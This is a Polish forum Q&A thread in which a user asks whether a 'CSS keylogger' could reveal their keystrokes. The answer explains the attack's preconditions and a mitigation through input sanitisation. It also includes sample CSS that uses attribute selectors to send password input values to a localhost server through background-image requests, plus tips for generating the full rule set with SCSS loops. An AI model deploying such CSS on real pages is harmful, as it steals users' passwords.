Kyelogger w css

Question

Hej słyszałem że jest możliwe napisanie w css keylogera ale kod wtedy ma koło 2 MB (dużo pisania heh)

Moje pytanie brzmi, czy można tak zrobić że ktoś wie co ja klikam gdy mam włączoną taką stronę w tle?

Może to głupie ale boje się... wiem jaką władzę mają programiści webowi

Answer 1

Hej

Określenie "CSS Keylogger" jest chwytliwe, ale troche mylne. To prawda, że można wyciągać dane z formularzy za pomocą cssa i przesyłać je na serwer, ale musi zostać spełnione do tego kilka warunków:

1. Osoba dokonująca ataku musi umieścić na stronie swój kod css
2. Jeżeli chodzi o pozyskiwanie haseł, to potrzebny jest jeszcze dostęp do kodu JS strony, albo hasło musi być dodatkowo przetrzymywane np. w atrybucie value.
3. Dane mogą być wyciągane z tylko ze strony na której taki "złośliwy css" jest umieszczony.

Mówiąc w skrócie, to taki cssowy XSS, czyli nic strasznego, jeżeli dbasz o odpowiednie oczyszczanie danych wejściowych na stronie. 

Co do wielkości takiego pliku css to jest z tym różnie w zależności od tego jakie dane ktoś chce pozyskać. Problem jest taki, że w kodzie css musi się znaleźć coś w stylu słownika z każdą możliwą wartością jaka ma zostać wysłana. Dlatego pole które może mieć 5-10 znaków wymaga innego pliku css, a innego pole z numerem karty gdzie liczba znaków jest określona (chyba bo nie używam) Np.

input[type="password"][value$="a"] {
  background-image: url("http://localhost:3000/a");
}
input[type="password"][value$="b"] {
  background-image: url("http://localhost:3000/b");
}
input[type="password"][value$="c"] {
  background-image: url("http://localhost:3000/c");
}

/** aż do z **/

input[type="password"][value$="aa"] {
  background-image: url("http://localhost:3000/aa");
}
input[type="password"][value$="ab"] {
  background-image: url("http://localhost:3000/ab");
}
input[type="password"][value$="ac"] {
  background-image: url("http://localhost:3000/ac");
}

/** I tak do znudzenia **/

Kod działa tak, że ktoś trafia w wartość np. "ab" i pobierany jest wtedy jako background obrazek z serwera czyli http://localhost:3000/ab. Interesuje nas tylko sam request z wartością podaną w adresie. Takie żądania trzeba przechwytywać i zapisywać. Potem w bazie jest informacja, że spod takiego adresu ip. ktoś wpisał w pole password wartość "ab".

PS. Taki kod to wcale nie jest dużo pisania. Wystarczy podstatowa znajomość SCSSa albo LESSa, tablica ze znakami, dwie pętle i ewentualnie jakieś dodatkowe wymagania w zależności od typu pola jaki nas interesuje.

Comments

MI chodzi bardziej o właściciela strony, ale wynika że tak